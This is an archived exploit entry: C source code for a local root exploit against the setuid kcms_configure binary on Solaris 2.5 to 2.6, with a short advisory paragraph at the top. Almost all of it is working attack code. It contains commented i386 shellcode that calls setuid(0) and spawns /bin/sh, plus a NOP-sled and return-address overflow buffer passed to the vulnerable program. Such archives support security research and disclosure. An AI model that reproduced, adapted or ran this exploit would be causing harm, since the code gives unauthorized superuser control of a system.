Solaris 2.5.1 - 'kcms' Local Buffer Overflow (1)

// source: https://www.securityfocus.com/bid/452/info


There is an unchecked sprintf() call in the versions of /usr/openwin/bin/kcms_configure shipped with solaris 2.5, 2.5.1 and 2.6. Unfortunately, kcms_configure is installed setuid root, making it possible for an attacker to overflow the buffer and have arbitrary code executed with superuser privileges. The consequence of this vulnerability being exploited is a local root compromise.

/**
***  kcmsex - i386 Solaris root exploit for /usr/openwin/bin/kcms_configure
***
***  Tested and confirmed under Solaris 2.6 i386
***
***  Usage:  % kcmsex [offset]
***
***  where offset (if present) is the number of bytes to add to the stack
***  pointer to calculate your target return address; try -1000 to 1000 in
***  increments of 100 for starters.  Thanks go to Sun for cranking out
***  such sloppy privileged code.  Keep those holes a coming, boys!
***
***  Cheez Whiz
***  [email protected]
***
***  December 17, 1998
**/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFLEN 500
#define NOP 0x90

char shell[] =
/*  0 */ "\xeb\x3b"                         /* jmp springboard       */
/* syscall:                                                          */
/*  2 */ "\x9a\xff\xff\xff\xff\x07\xff"     /* lcall 0x7,0x0         */
/*  9 */ "\xc3"                             /* ret                   */
/* start:                                                            */
/* 10 */ "\x5e"                             /* popl %esi             */
/* 11 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 13 */ "\x89\x46\xc1"                     /* movl %eax,-0x3f(%esi) */
/* 16 */ "\x88\x46\xc6"                     /* movb %al,-0x3a(%esi)  */
/* 19 */ "\x88\x46\x07"                     /* movb %al,0x7(%esi)    */
/* 22 */ "\x89\x46\x0c"                     /* movl %eax,0xc(%esi)   */
/* setuid:                                                           */
/* 25 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 27 */ "\x50"                             /* pushl %eax            */
/* 28 */ "\xb0\x17"                         /* movb $0x17,%al        */
/* 30 */ "\xe8\xdf\xff\xff\xff"             /* call syscall          */
/* 35 */ "\x83\xc4\x04"                     /* addl $0x4,%esp        */
/* execve:                                                           */
/* 38 */ "\x31\xc0"                         /* xor %eax,%eax         */
/* 40 */ "\x50"                             /* pushl %eax            */
/* 41 */ "\x8d\x5e\x08"                     /* leal 0x8(%esi),%ebx   */
/* 44 */ "\x53"                             /* pushl %ebx            */
/* 45 */ "\x8d\x1e"                         /* leal (%esi),%ebx      */
/* 47 */ "\x89\x5e\x08"                     /* movl %ebx,0x8(%esi)   */
/* 50 */ "\x53"                             /* pushl %ebx            */
/* 51 */ "\xb0\x3b"                         /* movb $0x3b,%al        */
/* 53 */ "\xe8\xc8\xff\xff\xff"             /* call syscall          */
/* 58 */ "\x83\xc4\x0c"                     /* addl $0xc,%esp        */
/* springboard:                                                      */
/* 61 */ "\xe8\xc8\xff\xff\xff"             /* call start            */
/* data:                                                             */
/* 66 */ "\x2f\x62\x69\x6e\x2f\x73\x68\xff" /* DATA                  */
/* 74 */ "\xff\xff\xff\xff"                 /* DATA                  */
/* 78 */ "\xff\xff\xff\xff";                /* DATA                  */

char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;

unsigned long int
get_esp()
{
    __asm__("movl %esp,%eax");
}

void
main (int argc, char *argv[])
{
    int i;

    if (argc > 1)
        offset = strtol(argv[1], NULL, 0);

    if (argc > 2)
        nop = strtoul(argv[2], NULL, 0);
    else
        nop = 285;

    esp = get_esp();

    memset(buf, NOP, BUFLEN);
    memcpy(buf+nop, shell, strlen(shell));
    for (i = nop+strlen(shell); i < BUFLEN-4; i += 4)
        *((int *) &buf[i]) = esp+offset;

    printf("jumping to 0x%08x (0x%08x offset %d) [nop %d]\n",
           esp+offset, esp, offset, nop);
    execl("/usr/openwin/bin/kcms_configure", "kcms_configure", "-P", buf,
          "foofoo", NULL);

    printf("exec failed!\n");
    return;
}